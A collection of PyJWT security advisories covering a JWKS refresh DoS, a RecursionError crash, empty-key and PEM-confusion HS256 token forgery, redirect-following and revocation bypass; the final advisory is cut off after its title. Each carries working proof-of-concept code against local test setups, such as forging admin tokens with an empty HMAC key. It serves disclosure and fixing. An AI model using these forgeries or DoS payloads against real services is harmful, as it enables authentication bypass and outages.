CVE-2026-101917 / GHSA-2gx3-rcp4-g85q / PYSEC-2026-4140

More information

Details

Summary
CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.

At HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.

Affected
pyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.

Proof of concept (verified on 2.13.0, cache enabled = realistic prod config)
import threading, http.server, socketserver, json
from jwt import PyJWKClient
hits = {'n': 0}
JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
hits['n'] += 1
self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers()
self.wfile.write(JWKS)
def log_message(self,*a): pass
srv = socketserver.TCPServer(('127.0.0.1',0), H); port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()
c = PyJWKClient(f'http://127.0.0.1/:{port}/jwks.json', cache_keys=True, lifespan=3600)
for i in range(8):
try: c.get_signing_key(f'attacker-unknown-kid-{i}')
except Exception: pass
before = hits['n']
for _ in range(5):
try: c.get_signing_key('same-unknown')
except Exception: pass
print('distinct unknown kids: 8 -> fetches:', hits['n'])
print('same unknown kid x5 -> extra fetches:', hits['n'] - before)

Output:
distinct unknown kids: 8 -> fetches: 9
same unknown kid x5 -> extra fetches: 5
Each unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.

Impact
One unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.

Suggested fix
Guard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.

Note: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.

Reported by Babakizo (Securva).

Maintainer update — 2026-09-10

The maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching
enabled, an unknown kid previously forced an unconditional JWKS refresh,
including when the same unknown value was repeated while the cached key set was
still valid. This allowed unauthenticated token headers to cause unnecessary
outbound JWKS requests and repeated parsing work.

The fix is now on master in commit ba4853a. PyJWKClient now applies a
30-second cooldown after successful JWKS fetches before permitting another
unknown-kid refresh, serializes concurrent refresh decisions per client, and
allows callers to configure or disable the cooldown. Cache-disabled behavior
and immediate retry after failed fetches remain unchanged.

Regression tests cover repeated unknown kids, cooldown expiry, concurrent
misses, cache-disabled operation, and invalid cooldown values. The available
full tox matrix, Ruff, and mypy checks pass. The fix will be included in the
next released 2.x version.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


PyJWT: Uncaught RecursionError in jwt.decode() on deeply nested token header

CVE-2026-102265 / GHSA-8wjv-2p76-3863 / PYSEC-2026-4142

More information

Details

Package

pyjwt (PyPI)

Affected versions

tested & verified on: 2.13.0. Every version whose PyJWS._load() translates only ValueError is affected

Description

PyJWS._looad() (jwt/api_jws.py:337) splits the compact token, base64url decodes the header segment and hands it to json.loads() before _verify_signature() runs. The parse is wrapped in except ValueError as e: raise DecodeError(...). That is what makes the documented contract sufficient for untrusted input: except jwt.PyJWTError (or InvalidTokenError) around jwt.decode(token, key, algorithms=[...]).

CPython's JSON decoder raises RecursionError (a RuntimeError subclass, not a ValueError) once nesting crosses the native stack guard. That exception leaves _load(), then jwt.decode(), and matches no PyJWTError handlerr at all. No key and no valid signature are needed: the header is parsed first, so a single unauthenticated request with an unsigned token suffices.

Scope: the recursion threshold is ~65,000 nesting levels; below it the same input yields a clean DecodeError (a 346,800-byte flat header is rejected normally, so depth, not size, is the trigger). A token this large cannot ride in an Authorization header (rejected at HTTP field limits,431 under gunicorn), but body transport (RFC 7662 introspection style) is a standard pattern. Under Flask 3.1.3 / gunicorn 26.2.0 each crafted request returns HTTP 500 instead of 401 and writes a full traceback to the error log; the sync worker survives.

Proof of concept

Against any endpoint that validates a token from its JSON body with the documented pattern:

import base64, json, http.client

def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

##### unsigned token: the header segment is 200,000 nested '[' (266,681 bytes total)
token = (b64url(b"[" * 200_000) + b"." + b64url(b'{"a":1}') + b"." + b64url(b"x")).decode()

conn = http.client.HTTPConnection("127.0.0.1", 8125, timeout=30)
conn.request("POST", "/api/protected", body=json.dumps({"token": token}),
             headers={"Content-Type": "application/json"})
print(conn.getresponse().status)   # 500, expected 401

Determinism: 20/20 crafted requests returned 500 against the reference container (PyJWT 2.13.0, Flask 3.1.3, gunicorn 26.2.0, Python 3.14.7) in 0.12 s (about 6 ms per request in a tight loop, 14 ms for a cold request), each leaving a RecursionError: Stack overflow ... while decoding a JSON array traceback in the error log.

Impact

An unauthenticated attacker can turn every request to a JWT validating endpoint into a server error with a full traceback logged per request, a cheap and repeatable denial of service on the authentication path (no crash, no data exposure).

Fix

Catch RecursionError alongside ValueError in _load() and raise DecodeError, or parse the header with a nonrecursive, depthbounded parser.

Reproduction

A standalone package (docker-compose.yml, Dockerfile, requirements.txt, target app, driver) accompanies this report:

cd <package dir>
docker compose up -d --build
python3 poc_check_then_attack.py
docker compose down -v

poc_pyjwt_recursion.zip

Exit 0= reproduced (control checks green, exactly one crafted request returns 500, traceback verified in docker logs, service alive afterwards); 1 = not reproduced; 2 = checks failed, no attack sent. The package's run_log.txt documents a complete proof run.

Credits
  • @​Nivid42
Maintainer update — 2026-09-09

We reproduced the reported behavior on PyJWT 2.13.0: a deeply nested JSON array in the untrusted compact-JWS header reaches json.loads() before signature verification and raises RecursionError, which is not a PyJWTError. The same input is accepted by the public jwt.decode() path and can escape an application's normal except PyJWTError handling.

The fix is committed as 06573692ebcdec8831c3927513b3e87c31fbbb62. PyJWS._load() now translates both ValueError and RecursionError from header JSON parsing into DecodeError. A regression test covers the deeply nested-header path before signature verification. The full suite passes with 373 tests and 4 intentional cryptography-environment skips.

No release containing the fix has been published yet, so the patched version remains unset pending release planning. The advisory remains medium severity and unpublished.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT's empty-key validation

CVE-2026-102266 / GHSA-9j54-fg26-wv3r / PYSEC-2026-4143

More information

Details

Summary

A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.

PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw str/bytes key path, but accepts the same zero-length key when it is supplied as a symmetric PyJWK.

An oct JWK containing an empty Base64URL key value:

{"kty":"oct","k":""}

is decoded to b"". During signature verification, the PyJWK path uses this decoded value directly and does not invoke the empty-key validation in HMACAlgorithm.prepare_key. With the default enforce_minimum_key_length=False, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.

An attacker can independently calculate HMAC-SHA256(b"", signing_input) and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty oct JWK through PyJWK or PyJWKSet can therefore accept attacker-generated tokens as authenticated.

The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as "k": "". The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.

Details

The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through PyJWK.

Raw empty HMAC keys are rejected

[HMACAlgorithm.prepare_key](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.

As a result, an empty raw key is rejected in PyJWT 2.13.0:

jwt.decode(token, b"", algorithms=["HS256"])

with InvalidKeyError.

Empty oct JWKs decode to the same key but are accepted

[HMACAlgorithm.from_jwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.

For:

{
    "kty": "oct",
    "k": ""
}

the empty Base64URL value is decoded to:

b""

and returned without an emptiness check.

[PyJWK.__init__](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in self.key.

The resulting PyJWK therefore contains the same zero-length byte string rejected by the raw-key path.

PyJWK verification bypasses the raw-key validation

[PyJWS._verify_signature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for PyJWK objects.

When a PyJWK is supplied, verification uses its already-decoded key directly:

prepared_key = key.key

The value is not passed through:

alg_obj.prepare_key(key.key)

so the empty-key check in HMACAlgorithm.prepare_key is never reached.

The minimum HMAC key-length check does not reject the key under the default configuration. With enforce_minimum_key_length=False, PyJWT emits a warning and continues signature verification.

The verifier therefore receives:

b""

as the HS256 key.

This creates the following difference for identical cryptographic key material:

raw b""
    -> HMACAlgorithm.prepare_key
    -> InvalidKeyError

{"kty":"oct","k":""}
    -> HMACAlgorithm.from_jwk
    -> b""
    -> PyJWK.key
    -> PyJWS._verify_signature
    -> HMAC verification with b""
    -> accepted

Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.

This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an oct symmetric JWK, HS256 only, and the PyJWK verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.

The issue was reproduced against PyJWT 2.13.0 and commit:

7144e4534c34810f4525dc4578a32addd8212cff

which was the tip of the public master branch at the time of testing.

PoC

The following PoC reproduces the issue on PyJWT 2.13.0.

It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.

Install PyJWT 2.13.0:

python -m venv venv
source venv/bin/activate
pip install "PyJWT==2.13.0"

Save the following as poc.py:

import base64
import hashlib
import hmac
import json
import time
import warnings

import jwt
from jwt import PyJWKSet
from jwt.exceptions import InvalidKeyError, InvalidSignatureError

def b64u(value: bytes) -> bytes:
    return base64.urlsafe_b64encode(value).rstrip(b"=")

now = int(time.time())
header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode())
payload = b64u(
    json.dumps(
        {"sub": "attacker", "admin": True, "iat": now, "exp": now + 300},
        separators=(",", ":"),
    ).encode()
)
signing_input = header + b"." + payload
forged = (
    signing_input
    + b"."
    + b64u(hmac.new(b"", signing_input, hashlib.sha256).digest())
).decode()

jwk = PyJWKSet.from_dict(
    {
        "keys": [
            {
                "kty": "oct",
                "k": "",
                "kid": "active",
                "alg": "HS256",
                "use": "sig",
            }
        ]
    }
)["active"]

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    claims = jwt.decode(
        forged,
        jwk,
        algorithms=["HS256"],
        options={"require": ["exp"]},
    )

assert claims["sub"] == "attacker"
assert claims["admin"] is True
print("VULNERABLE:", claims)

try:
    jwt.decode(forged, b"", algorithms=["HS256"])
except InvalidKeyError:
    print("CONTROL raw empty key: rejected")
else:
    raise AssertionError("raw empty key was accepted")

try:
    jwt.decode(
        forged,
        jwk,
        algorithms=["HS256"],
        options={"enforce_minimum_key_length": True},
    )
except InvalidKeyError:
    print("CONTROL strict PyJWK: rejected")
else:
    raise AssertionError("strict PyJWK was accepted")

real_key = PyJWKSet.from_dict(
    {
        "keys": [
            {
                "kty": "oct",
                "k": "cmVhbC1zZWNyZXQ",
                "kid": "active",
                "alg": "HS256",
            }
        ]
    }
)["active"]

try:
    with warnings.catch_warnings():
        warnings.simplefilter("ignore")
        jwt.decode(forged, real_key, algorithms=["HS256"])
except InvalidSignatureError:
    print("CONTROL non-empty PyJWK: rejected")
else:
    raise AssertionError("non-empty PyJWK accepted an empty-key forgery")

Run:

python poc.py

Observed output:

VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': <now>, 'exp': <now+300>}
CONTROL raw empty key: rejected
CONTROL strict PyJWK: rejected
CONTROL non-empty PyJWK: rejected

The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through PyJWK.

The first control supplies the same key material directly as b"". PyJWT 2.13.0 rejects it with InvalidKeyError.

The second control enables enforce_minimum_key_length, which also rejects the empty PyJWK.

The third control changes only the JWK key material to a non-empty value. The same forged token then fails with InvalidSignatureError.

I also reproduced the result through the following verification paths:

jwt.decode(token, PyJWK, algorithms=["HS256"])
jwt.decode(token, PyJWK)
jwt.PyJWT().decode(token, PyJWK, algorithms=["HS256"])
PyJWS().decode(token, PyJWK, algorithms=["HS256"])

All accepted an HS256 token whose signature was generated using the zero-length HMAC key.

As an execution-path check, after constructing the PyJWK, I replaced HMACAlgorithm.prepare_key with a function that immediately raises. Verification using the PyJWK still accepted the forged token, while the raw-key path reached prepare_key and rejected the empty key.

Impact

This is an authentication bypass caused by inconsistent validation of empty HMAC keys.

Affected applications are services that verify HS256 JWTs using PyJWK, PyJWKSet, or another path that produces a PyJWK, where the configured oct JWK contains an empty HMAC key and minimum key-length enforcement is not enabled.

For example, an application could and produces:

{
    "kty": "oct",
    "k": "",
    "kid": "active",
    "alg": "HS256"
}

when the expected Base64URL secret value is missing.

Once this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is b"" and can therefore calculate a valid HMAC for any signing input.

The attacker can choose arbitrary claims such as:

{
    "sub": "attacker",
    "admin": true,
    "exp": 1787100000
}

and produce a signature that PyJWT accepts as valid.

Depending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources.

Validation of claims such as exp, aud, iss, or sub does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature.

The attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Maintainer update — 2026-09-09

We reproduced the reported discrepancy on PyJWT 2.13.0: an empty oct JWK supplied through PyJWK reached HS256 verification as b"", while the equivalent raw empty key was rejected by HMACAlgorithm.prepare_key(). The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source.

This is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT's public verification paths.

The fix is committed as f91ed44dd65baaf457f4b3353ed35e98a753934c. PyJWK verification now routes the decoded key through the selected algorithm's prepare_key() validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through PyJWK; existing JWS behavior remains covered.

The full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification.

The fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


PyJWT: PyJWKClient follows redirects when fetching JWKS

CVE-2026-102267 / GHSA-9v7f-9g4p-ffgj / PYSEC-2026-4144

More information

Details

Summary

PyJWT 2.13.0 PyJWKClient followed HTTP redirects while fetching a JWKS,
without validating the redirect destination. A configured trusted endpoint
could therefore redirect the client to a different host.

Impact

When an application uses PyJWKClient with caller-supplied request headers and
an attacker can influence the configured endpoint's response, the redirected
request could expose those headers and the redirected response could be used as
authoritative key material. This could cause JWKS trust poisoning and, in
affected mixed-configuration applications, forged JWT acceptance. The issue
requires an attacker-influenced redirect from the configured JWKS endpoint; it
is not triggered by a token kid alone.

Affected versions

PyJWT <= 2.13.0.

Fix

The issue is fixed on master in commit
0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56.
PyJWKClient now disables automatic redirects for JWKS fetches. Regression
tests verify that a redirect is rejected without contacting its destination,
while normal fetches, headers, caching, errors, timeouts, and SSL context remain
covered.

The fix is present in the unreleased development branch. The patched version
will be recorded after a released PyJWT 2.x version containing the fix is
confirmed.

Credit

Credit: the original reporter of GHSA-9v7f-9g4p-ffgj. Additional redirect
header-leak and cache-poisoning evidence from the newer duplicate report
GHSA-43g3-98cx-x446 is preserved in the duplicate record and informed this
canonical advisory update.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guard

CVE-2026-102268 / GHSA-ffc3-869f-jxw9 / PYSEC-2026-4145

More information

Details

Prerequisites (both conditions must hold; both are deployment properties, not attacker-controlled at request time):

  • The jwt.decode allow-list mixes an HMAC algorithm with an asymmetric one, e.g. algorithms=["ES256", "HS256"] (the RFC 8725 footgun the guard exists to backstop).
  • The verification key is passed as raw PEM text/bytes on the non-PyJWK path, in a byte-form that cryptography's loader accepts but PyJWT's is_pem_format regex does not recognize (marker-adjacent whitespace/indentation, CR-only line terminators, or the PEM folded to a single line). Such forms arise naturally from an indented YAML/JSON block, a single-line environment variable or JSON string, or a CR/LF round-trip through config tooling.

The attacker additionally needs the public verification key, which is public by definition, and cryptography must be installed.

The fix for CVE-2022-29217 rejects an asymmetric key handed to an HMAC algorithm, but only when is_pem_format() recognizes the key as PEM. That recognizer accepts strictly fewer byte-forms than the loader that later parses the key, so a PEM the guard misses still loads as a valid public key and is then used as an HMAC secret. This is an incomplete-guard bypass of the CVE-2022-29217 family.

Summary

A PEM public key with marker-adjacent whitespace, CR-only line terminators, or folded to a single line makes PyJWT's is_pem_format() return False while cryptography.load_pem_public_key() accepts the identical bytes. The asymmetric-key rejection in HMACAlgorithm.prepare_key is skipped, the public key becomes the HMAC secret, and an attacker who knows the public key mints a valid HS256 token — universal forgery — whenever the verify allow-list mixes an HMAC and an asymmetric algorithm.

Details

At jwt/algorithms.py:331-335, HMACAlgorithm.prepare_key contains the sole family-mismatch guard:

if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

If neither predicate fires, :357 returns key_bytes unchanged — the PEM text is used directly as the HMAC secret.

is_pem_format (jwt/utils.py:116-127) is bool(_PEM_RE.search(key)), where _PEM_RE requires ----[- ]BEGIN (...)[- ]----\r?\n, then .+?\r?\n, then the END marker. The LF in each \r?\n is mandatory, the markers are anchored directly after a newline, and only [- ] is tolerated adjacent to them — not arbitrary whitespace. So a key with a tab/space before the END marker, with bare \r terminators, or folded onto one line is not recognized as PEM. cryptography's load_pem_public_key is tolerant of exactly these forms and still returns the key.

Reach: jwt/api_jws.py:386 performs the allow-list check (passes when HS256 is in the list) and takes the non-PyJWK branch to alg_obj.prepare_key(key) at :407. The mismatch guard above is the only thing standing between a mixed allow-list and using the public key as an HMAC secret.

PoC

Vulnerable path: jwt/algorithms.py:331 (guard gated on is_pem_format) -> is_pem_format returns False for a loader-accepted PEM -> jwt/algorithms.py:357 returns the public-key bytes as the HMAC secret -> HS256 verification succeeds.

Reproduced on PyJWT 2.13.0 (commit 7144e453) with cryptography 49.0.0, using only the public API. For each of an EC (ES256) and an RSA-2048 (RS256) key: start from the correct public-key PEM, apply a mutation, confirm is_pem_format now returns False while cryptography still loads the bytes, then verify a token signed alg=HS256 with the public-key text as the HMAC secret, under algorithms=["ES256","HS256"] (resp. ["RS256","HS256"]).

Observed output:

pyjwt 2.13.0
  ec  canonical (control)                is_pem_format=True  crypto_loads=True  forgery=BLOCKED:InvalidKeyError
  ec  marker-adjacent (tab before END)   is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  ec  CR-only terminators                is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  ec  folded single-line                 is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  rsa canonical (control)                is_pem_format=True  crypto_loads=True  forgery=BLOCKED:InvalidKeyError
  rsa marker-adjacent (tab before END)   is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  rsa CR-only terminators                is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  rsa folded single-line                 is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  [control B] single-alg [ES256] allow-list vs forged HS256: REJECTED:InvalidAlgorithmError
RESULT: ALL-INVARIANTS-HOLD

Each mutated form on both key types forged a token accepted as superadmin. Controls: the unmodified PEM is correctly rejected with InvalidKeyError (the guard works and the mutation is load-bearing); a single-algorithm allow-list ["ES256"] rejects the forged HS256 token with InvalidAlgorithmError (the mixed allow-list is a necessary precondition).

Steps to reproduce:

  1. Generate an EC P-256 (or RSA-2048) keypair; serialize the public key to PEM.
  2. Mutate the PEM into a loader-accepted, regex-missed form — e.g. insert a tab before -----END, convert terminators to bare \r, or join all lines into one.
  3. Confirm jwt.utils.is_pem_format(mutated) is False and cryptography.hazmat.primitives.serialization.load_pem_public_key(mutated) succeeds.
  4. jwt.encode({"sub":"superadmin"}, mutated, algorithm="HS256"), then jwt.decode(token, mutated, algorithms=["ES256","HS256"]) — verification succeeds.
Impact

Cryptographic signature-verification bypass (CWE-347): algorithm confusion re-enabled by an incomplete asymmetric-key guard. An attacker who knows only the public verification key forges arbitrary-claim tokens that verify as authentic, subject to the two deployment preconditions above. The PyJWK verification path binds a single algorithm and is unaffected; enforce_minimum_key_length (off by default) does not block a 2048-bit/P-256 PEM. Impact when the preconditions hold is critical (universal forgery); the compound precondition is realistic but was not observed in a specific real-world deployment, so this is rated Critical, with the deployment precondition captured in CVSS.

Maintainer update — 2026-09-10

We reproduced the reported asymmetric-key guard bypass on PyJWT 2.13.0: PEM public keys with loader-accepted formatting mutations were missed by is_pem_format, then accepted as HMAC secrets when a verification call mixed symmetric and asymmetric algorithms. Canonical PEM controls remained blocked, and a single-algorithm allow-list rejected the forged HS256 token.

The fix is committed as 8b4e233a22206b34ec1186e912e75c0b2396ac07. PyJWT now scans supported PEM BEGIN/END markers in one pass, preserving matching labels and handling overlapping markers without regex backtracking. Regression coverage includes RSA loader-accepted mutations, incomplete repeated markers, later valid PEM blocks, and overlapping END/BEGIN markers. The fix does not broaden DER-key classification or change the caller's algorithm allow-list policy.

Verification on the signed commit passes with 400 tests and 4 intentional cryptography-environment skips; Ruff formatting/lint and the Python 3.9 mypy tox target pass. Fresh Astra/max independent review accepted the final snapshot and confirmed O(n) scanning, bounded storage, and no blocking compatibility or security finding. The fix has not been released; the advisory remains Critical with CVSS 3.1 score 9.1 and CWE-347.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


PyJWT: Non-canonical signature segments enable raw-token revocation bypass

CVE-2026-102269 / GHSA-hxm8-2xgr-2p9m / PYSEC-2026-4147

More information

Details

Summary

PyJWT 2.13.0 accepts compact JWS signature segments containing characters that
are not in the Base64URL alphabet. Appending !!!! to a valid signature does
not change the decoded signature bytes or authenticated claims, but it changes
the serialized token and its SHA-256 hash. An application that indexes logout
or revocation state by the raw token therefore rejects the logged-out token and
accepts its no-key alternate serialization.

This report separates two issues: permissive compact-JWS decoding is the
library behavior, while using raw serialized JWT text as a security identity is
a dangerous application composition. A jti-indexed control blocks both
representations.

Affected Version

Confirmed with PyJWT 2.13.0 on CPython 3.13. The mutation changes only the
signature segment and requires no signing key.

End-to-End Reproduction
.venv-research/bin/python 06-practical-testing/revocation-bypass-lab.py

The loopback-only lab performs:

  1. Issue a valid HS256 admin token.
  2. Access /protected successfully.
  3. Log out the canonical token and store SHA256(raw_token).
  4. Confirm canonical replay returns HTTP 401.
  5. Append !!!! to only the signature segment.
  6. Confirm the mutated token has the same verified claims and signature bytes,
    a different raw hash, and receives HTTP 200.
  7. Repeat with jti-indexed revocation and confirm both forms return HTTP 401.

Observed statuses for raw-token revocation were 200 -> logout -> 401 for the
canonical token and 200 for the alternate serialization. The jti control
returned 401 for both replays after logout.

Security Boundaries and Severity

This is not signature forgery: the attacker starts with a valid token and
cannot alter its claims. Impact requires a consumer to bind revocation, replay
state, rate limits, or cache identity to the raw compact string. Under that
composition, an authenticated user can bypass logout or token-specific
revocation without the signing key. Medium is suggested for triage because the
security impact is real but application-dependent.

  • Reject signature segments containing characters outside [A-Za-z0-9_-].
  • Reject padding and other non-canonical Base64URL encodings for compact JWS.
  • Add regression tests proving malformed signature encodings fail before or
    during verification.
  • Document that applications must use a semantic identifier such as jti, not
    the raw serialized token, for revocation and replay state.
Maintainer update — 2026-09-09

We reproduced the reported behavior on the verified master commit 8915570: appending !!!! to a valid compact-JWS signature segment is accepted, produces the same decoded signature bytes and claims, and changes the serialized token hash. Existing JWS verification controls pass. The behavior is present in the tested release range represented by tags 2.4.0, 2.8.0, 2.10.1, 2.12.1, and 2.13.0.

The security impact is conditional on an application using the raw serialized token as the identity for logout, revocation, replay, rate-limit, or cache state. Under that composition, an attacker who already holds a valid token can use an alternate serialization after the canonical string is revoked. This is not signature forgery or claim alteration; applications should use a semantic identifier such as jti for token identity.

The report is ready to be accepted as a draft for continued remediation. A narrow fix assessment recommends rejecting non-canonical Base64URL characters and padding in compact-JWS segments. No fix commit or release is claimed yet.

Maintainer update — 2026-09-09

The fix has been rebased onto the current master as e6f48401001609a8f99e71fcaf355fb895d508a8 and is ready to be pushed. Compact-JWS header, payload, and signature segments are now required to use the unpadded Base64URL alphabet and canonical re-encoding; a signature segment containing non-canonical characters such as !!!! is rejected before verification. Valid detached b64=false handling remains supported.

Verification on the rebased fix commit passed 372 tests with 4 intentional cryptography-environment skips; Ruff formatting/lint and git diff --check passed. The compressed-payload regression fixture was updated to valid canonical compact-JWS encoding. No release containing the fix has been published yet, so the patched version remains unset pending release planning.

The advisory remains medium severity and unpublished.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N and the proposed CWE classification is CWE-180. The issue permits alternate non-canonical serializations of an already valid signed token to bypass applications that identify tokens by their raw serialization; it does not forge signatures or alter claims. CWE-180 captures validation/canonicalization ordering.

These metadata changes do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


PyJWT: ReDoS vulnerability when calling the is_pem_format function.

CVE-2026-102270 / GHSA-jwrc-g2q2-pq5p / PYSEC-2026-4148

More information

Details

Summary

